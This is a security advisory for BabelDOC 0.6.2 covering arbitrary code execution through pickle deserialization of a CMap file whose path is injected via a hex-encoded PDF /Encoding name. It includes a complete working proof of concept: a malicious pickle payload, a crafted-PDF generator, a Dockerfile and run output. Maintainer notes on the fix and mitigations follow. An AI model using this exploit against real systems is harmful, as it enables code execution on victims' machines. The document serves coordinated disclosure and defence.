PT-2026-59068 · Pypi · Babeldoc

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.8

High

VectorAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

Summary

BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The load data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

Details

The vulnerable function is CMapDB. load data() at babeldoc/pdfminer/cmapdb.py:232–245:
python
@classmethod
def load data(cls, name: str) -> Any:
  name = name.replace("0", "")     # line 233 — only NUL is stripped
  filename = "%s.pickle.gz" % name    # line 234 — attacker-controlled string
  ...
  for directory in cmap paths:
    path = os.path.join(directory, filename)  # line 241 — no realpath/canonical check
    if os.path.exists(path):
      gzfile = gzip.open(path)
      try:
        return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle
Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser. parse literal hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.
Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.
Data flow from PDF to sink:
  1. babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.
  2. babeldoc/main.py:678–679 — path stored in TranslationConfig(input file=file).
  3. babeldoc/format/pdf/high level.py:472–488translation config.input file enters the translate pipeline.
  4. babeldoc/format/pdf/high level.py:805–848 — PDF saved to temp pdf path and parsed with parse prepared pdf with new parser to legacy ir.
  5. babeldoc/format/pdf/new parser/native parse.py:60–70 — prepared pages loaded and interpreted.
  6. babeldoc/format/pdf/new parser/pymupdf prepared page access.py:25–34 — PyMuPDF opens the PDF and builds page resources.
  7. babeldoc/format/pdf/new parser/prepared resource builder.py:84–94 — font resources converted to PreparedFontSpec.
  8. babeldoc/format/pdf/new parser/active font resource runtime.py:21–35 — page resource bundle resolves root font map.
  9. babeldoc/format/pdf/new parser/active font runtime.py:79–87 — each font spec projected and passed to font factory.create font.
  10. babeldoc/format/pdf/new parser/active direct font backend.py:291–292, 491–493 — CID fonts call build cid cmap(spec, literal name=literal name).
  11. babeldoc/format/pdf/new parser/runtime/cid cmap runtime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get cmap. normalize cmap name() removes only a single leading /; all other path characters pass through.
  12. babeldoc/pdfminer/cmapdb.py:233–245sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().
Sanitization gaps:
  • name.replace("0", "") removes only the NUL byte; .., /, ``, and hex-decoded path separators are unaffected.
  • There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
  • There is no allowlist of known CMap names nor any integrity verification of the pickle data.
Recommended patch (babeldoc/pdfminer/cmapdb.py):
diff
--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
     cmap paths = (
       os.environ.get("CMAP PATH", "/usr/share/pdfminer/"),
       os.path.join(os.path.dirname( file ), "cmap"),
     )
     for directory in cmap paths:
-      path = os.path.join(directory, filename)
+      base dir = os.path.realpath(directory)
+      path = os.path.realpath(os.path.join(base dir, filename))
+      try:
+        if os.path.commonpath([base dir, path]) != base dir:
+          continue
+      except ValueError:
+        continue
       if os.path.exists(path):
         gzfile = gzip.open(path)
A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

PoC

Environment setup (Docker — recommended for isolation):
bash
# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap
Manual setup (local venv):
bash
python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py
PoC script (poc.py) — key steps:
python
import gzip, pathlib, pickle, sys

CMAP STAGING DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS PICKLE = CMAP STAGING DIR / "malicious.pickle.gz"
MALICIOUS PDF  = CMAP STAGING DIR / "malicious.pdf"
PROOF FILE    = pathlib.Path("/tmp/babeldoc cmap rce proof.txt")

# Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
  def  reduce (self):
    return (pathlib.Path(str(PROOF FILE)).write text,
        ("RCE CONFIRMED: pickle.loads executed attacker payload",))

CMAP STAGING DIR.mkdir(parents=True, exist ok=True)
with gzip.open(MALICIOUS PICKLE, "wb") as fh:
  pickle.dump(MaliciousPayload(), fh)

# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

# ... (minimal PDF structure with a Type0 CID font referencing encoding name) ...
# Full source in poc.py

# Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high level import extract text
try:
  extract text(str(MALICIOUS PDF))
except TypeError:
  pass # expected: type(name, (), <int>) fails after write text returns int

# Step 4 — verify
assert PROOF FILE.exists(), "FAIL: proof file not created"
print(PROOF FILE.read text()) # => "RCE CONFIRMED: pickle.loads executed attacker payload"
Phase 2 dynamic reproduction output (Docker container):
[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract text raised TypeError: type. new () argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.

============================================================
RESULT: PASS
Proof file: /tmp/babeldoc cmap rce proof.txt
Content:  'RCE CONFIRMED: pickle.loads executed attacker payload'
============================================================
The TypeError is benign and expected: write text() returns an integer, and the subsequent type(name, (), <int>) call in load data() raises before reaching further code. The payload already executed successfully at that point.
Attack path summary:
PDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
 -> pdfminer hex-decodes #2F -> '/'
 -> literal name = "/tmp/babeldoc-cmap-poc/malicious"
 -> CMapDB. load data("/tmp/babeldoc-cmap-poc/malicious")
 -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"  # absolute path!
 -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
   == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"      # first arg discarded
 -> gzip.open() + pickle.loads() -> arbitrary code execution

Impact

This is an Arbitrary Code Execution vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.
Who is impacted:
  • End users who open a malicious PDF with the babeldoc CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.
  • Automated document processing pipelines (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.
Attack prerequisites:
  1. The attacker must be able to place a .pickle.gz file at a predictable path on the local filesystem (e.g., /tmp/), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.
  2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.
Scope: The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the Changed scope in the CVSS vector and potential lateral movement between users on multi-user systems.
Consequences: Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.

Reproduction artifacts

Dockerfile

dockerfile
FROM python:3.11-slim

# Install system-level dependencies for freetype
RUN apt-get update && apt-get install -y --no-install-recommends 
  libfreetype6 
  && rm -rf /var/lib/apt/lists/*

# Install minimal Python dependencies required by babeldoc/pdfminer
RUN pip install --no-cache-dir 
  freetype-py==2.5.1 
  charset-normalizer 
  cryptography

# Copy the BabelDOC repository (only babeldoc package directory is needed)
COPY repo/babeldoc /app/babeldoc

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

WORKDIR /app

# PYTHONPATH exposes babeldoc package without a full pip install
ENV PYTHONPATH=/app

CMD ["python3", "poc.py"]

poc.py

python
"""
PoC: CMap Pickle Deserialization via Absolute Path Injection
CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2

Vulnerability: babeldoc/pdfminer/cmapdb.py load data() only strips NUL bytes
from the CMap name before building a filesystem path. A PDF name object
using #xx hex-encoding can inject absolute path characters (/) so that
os.path.join() discards the trusted cmap directory entirely, opening and
unpickling an attacker-placed .pickle.gz file.

Attack flow:
 PDF /Encoding /#2Ftmp#2F...#2Fmalicious
  -> pdfminer hex-decodes #2F -> '/'
  -> literal name() returns "/tmp/.../malicious"
  -> load data("/tmp/.../malicious")
  -> filename = "/tmp/.../malicious.pickle.gz"  (absolute path!)
  -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
    == "/tmp/.../malicious.pickle.gz"      (Python discards first arg)
  -> gzip.open() + pickle.loads() => arbitrary code execution
"""

import gzip
import os
import pathlib
import pickle
import sys

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
CMAP STAGING DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS PICKLE = CMAP STAGING DIR / "malicious.pickle.gz"
MALICIOUS PDF = CMAP STAGING DIR / "malicious.pdf"
PROOF FILE = pathlib.Path("/tmp/babeldoc cmap rce proof.txt")


# ---------------------------------------------------------------------------
# Step 1: Build the malicious pickle payload
# ---------------------------------------------------------------------------
class MaliciousPayload:
  """Pickle payload that writes a proof file on deserialization."""

  def  reduce (self):
    # Write proof file when unpickled; any writable command works here.
    return (
      pathlib.Path(str(PROOF FILE)).write text,
      ("RCE CONFIRMED: pickle.loads executed attacker payload",),
    )


def create malicious pickle():
  CMAP STAGING DIR.mkdir(parents=True, exist ok=True)
  PROOF FILE.unlink(missing ok=True)

  with gzip.open(MALICIOUS PICKLE, "wb") as fh:
    pickle.dump(MaliciousPayload(), fh)

  print(f"[+] Malicious pickle written: {MALICIOUS PICKLE}")


# ---------------------------------------------------------------------------
# Step 2: Build the malicious PDF
# ---------------------------------------------------------------------------
def create malicious pdf():
  """
  Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
  PDF literal that hex-encodes an absolute Unix path.

  PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx.
  "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
  "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').

  When passed through babeldoc/pdfminer:
   literal name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
    load data() -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
   os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
    => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" (absolute wins!)
  """
  # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
  # '#2F' = '/' in PDF name hex encoding
  encoding name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

  content stream = b"BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
"

  # PDF objects (1-indexed)
  objs = [
    # 1: Catalog
    b"<< /Type /Catalog /Pages 2 0 R >>",
    # 2: Pages
    b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    # 3: Page - references content stream (4) and font (5)
    b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
    b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
    # 4: Content stream
    b"<< /Length %d >>
stream
" % len(content stream)
    + content stream
    + b"
endstream",
    # 5: Type0 font with malicious /Encoding name
    b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
    b" /Encoding " + encoding name + b""
    b" /DescendantFonts [6 0 R] >>",
    # 6: CIDFontType2 descendant
    b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
    b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
    b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
    # 7: FontDescriptor (minimal)
    b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
    b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
    b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
  ]

  buf = bytearray(b"%PDF-1.4
")
  offsets = []
  for i, obj data in enumerate(objs, 1):
    offsets.append(len(buf))
    buf += f"{i} 0 obj
".encode() + obj data + b"
endobj
"

  xref offset = len(buf)
  buf += f"xref
0 {len(objs) + 1}
0000000000 65535 f 
".encode()
  for off in offsets:
    buf += f"{off:010d} 00000 n 
".encode()
  buf += (
    f"trailer
<< /Size {len(objs) + 1} /Root 1 0 R >>
"
    f"startxref
{xref offset}
%%EOF
"
  ).encode()

  MALICIOUS PDF.write bytes(bytes(buf))
  print(f"[+] Malicious PDF written: {MALICIOUS PDF}")


# ---------------------------------------------------------------------------
# Step 3: Trigger the vulnerability via babeldoc pdfminer extract text
# ---------------------------------------------------------------------------
def trigger exploit():
  from babeldoc.pdfminer.high level import extract text

  print(f"[*] Calling extract text({MALICIOUS PDF}) ...")
  try:
    result = extract text(str(MALICIOUS PDF))
    print(f"[+] extract text completed, returned {len(result)} chars")
  except Exception as exc:
    # A TypeError is expected: after pickle.loads() returns the result of
    # write text() (an int), the code tries type(name, (), <int>) which
    # raises TypeError. The write has already happened at this point.
    print(f"[*] extract text raised {type(exc). name }: {exc}")
    print("[*] This exception is expected; the payload ran before it.")


# ---------------------------------------------------------------------------
# Step 4: Verify RCE evidence
# ---------------------------------------------------------------------------
def verify rce():
  if PROOF FILE.exists():
    content = PROOF FILE.read text()
    print()
    print("=" * 60)
    print("RESULT: PASS")
    print(f"Proof file: {PROOF FILE}")
    print(f"Content:  {content!r}")
    print("=" * 60)
    return True
  else:
    print()
    print("=" * 60)
    print("RESULT: FAIL")
    print(f"Proof file {PROOF FILE} was NOT created.")
    print("=" * 60)
    return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
  print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
  print(f"Python: {sys.version}")
  print()

  create malicious pickle()
  create malicious pdf()
  trigger exploit()
  success = verify rce()

  sys.exit(0 if success else 1)


if  name  == " main ":
  main()

Notes from the maintainer

CVSS revision note

The CVSS v3.1 vector has been revised from the reporter's initial CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer review. The severity rating remains High.
One metric is revised; the remaining metrics (AV:L, AC:L, PR:N, UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.
  • Scope: Changed → Unchanged. BabelDOC is a PDF-processing library running with the caller process's operating-system permissions; it does not enforce a separate security authority over OS files, users, or downstream services. The malicious pickle payload executes in that same BabelDOC Python process. Under CVSS v3.1, this is Scope Unchanged: the vulnerable component and the impacted component are governed by the same authority. No sandbox, VM, browser-client, or application-defined authorization boundary is crossed.
The remaining metrics are retained intentionally:
  • AV:L, PR:N, UI:R: the attack requires local presence of attacker-influenced data (consistent with AV:L), does not require authenticated access to BabelDOC itself (PR:N), and depends on a user actually processing the crafted PDF (UI:R).
  • AC:L: kept aligned with industry practice for CWE-502 deserialization issues; once the supporting filesystem condition exists, the same-process exploitation path is consistent and repeatable.
  • C:H, I:H, A:H: full code-execution impact within the BabelDOC process.
We thank EQSTLab for the detailed report and PoC; this revision is limited to CVSS metric interpretation, and the issue remains High severity when exploitable.

Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

The original report covers entry point (1): the Encoding / CMapName font dictionary path, with absolute-path injection. Local review during patch preparation identified that the same load data sink is reached from one additional independently exploitable PDF-controlled path and two prefixed call sites covered at the sink for defense in depth:
  1. Encoding / CMapName references in a font dictionary (reported entry; absolute-path injection per the upstream report, .. relative traversal also exploitable)
  2. The PostScript usecmap operator inside an embedded CMap stream (independently exploitable via .. relative traversal; not in the original report)
  3. CIDSystemInfo.Ordering flowing through get unicode map in the legacy pdfminer pipeline
  4. CIDSystemInfo.Ordering flowing through get unicode map in the active new-parser pipeline
Call sites (3) and (4) were not reproduced as standalone PDF-only exploit paths in v0.6.x. The get unicode map caller prepends a to-unicode- prefix to the PDF-controlled name, which breaks absolute-path injection and means .. traversal would require an additional crafted directory layout such as a to-unicode-* component under a CMap search location. The 0.6.3 sink-level fix still covers these call sites, so future removal of the prefix or a future unprefixed caller remains blocked.

Fix design

The runtime CMap loader in 0.6.3 refuses to deserialize any file that does not simultaneously:
  1. appear in a pinned manifest of bundled CMap filenames (allowlist),
  2. resolve inside the bundled runtime/data/cmap directory after path resolution (containment check), and
  3. byte-for-byte match the manifest's pinned byte size and SHA-256.
The integrity check runs on the compressed on-disk .gz bytes before decompression, so files whose compressed size or SHA-256 differs from the pinned manifest are rejected before gzip or pickle sees them. The legacy CMAP PATH external search path is removed entirely; only the bundled directory is consulted. The active new-parser pipeline and the vendored pdfminer pipeline share the same verified-load entry point.

Related hardening shipped in 0.6.3

A separate hardening in the same release sanitizes PDF-controlled XObject names before they reach the optional ImageWriter output path, preventing PDF-driven writes outside the configured output directory. This is separate from BabelDOC's default translation pipeline: the optional ImageWriter is not used by default and is only reachable when a third-party caller passes an explicit output dir. It is included here for completeness.

Risk reduction if you cannot upgrade immediately

These steps reduce known exploit preconditions on pre-0.6.3 versions; they are not equivalent to the 0.6.3 fix.
  • Do not set the CMAP PATH environment variable when running BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3 versions, unsetting it limits the attack surface to the bundled cmap directory under the BabelDOC package.
  • Run BabelDOC under an account that cannot create files in any directory BabelDOC will read CMap data from, including any pre-0.6.3 CMAP PATH target.
  • Process only PDFs from trusted sources until upgrading.

Maintenance policy

BabelDOC publishes security fixes only in the latest release. We do not publish maintainer-supported backports for older minor, patch, or release lines. For this advisory, the maintainer-supported fixed version is 0.6.3 or later; downstream distributors may carry their own patches, but older BabelDOC releases will not receive a separate upstream backport.

Acknowledgements

We thank EQSTLab for the detailed private report, complete reproduction material, and coordinated-disclosure cooperation that allowed this fix to be prepared and released before public disclosure.

Timeline

  • 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and notifies maintainers
  • 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix
  • 2026-06-03 09:50 UTC: this advisory published
  • TBD: CVE identifier assigned (pending GitHub CNA review; GitHub documentation says CVE requests are usually reviewed within 72 hours)

References

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2389

Affected Products

Babeldoc